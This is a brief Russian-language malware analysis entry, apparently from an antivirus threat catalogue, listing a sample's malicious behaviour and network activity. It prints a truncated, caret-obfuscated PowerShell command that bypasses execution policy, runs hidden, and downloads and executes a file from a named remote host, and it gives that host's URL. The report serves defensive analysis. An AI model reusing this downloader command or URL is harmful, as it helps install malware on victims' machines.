Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://www.zonedopesa.top/read.php?f=1.gif как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "poWer^SheL^l^.^E^xe^ ^-^exeCUti^on^Po^L^icy^ ^Byp^ASs^ ^-N^OProF^I^lE -^W^I^Nd^OWs^tyL^E ^hiDd^E^n (nEw-oBjE^c^t ^sYSTEM^.N^E^T.We^BcliEnT).d^Ow^nL^OadFILE('http://www.zonedopes...
Сетевая активность
UDP
- DNS ASK zo###opesa.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "poWer^SheL^l^.^E^xe^ ^-^exeCUti^on^Po^L^icy^ ^Byp^ASs^ ^-N^OProF^I^lE -^W^I^Nd^OWs^tyL^E ^hiDd^E^n (nEw-oBjE^c^t ^sYSTEM^.N^E^T.We^BcliEnT).d^Ow^nL^OadFILE('http://www.zonedopes...' (со скрытым окном)
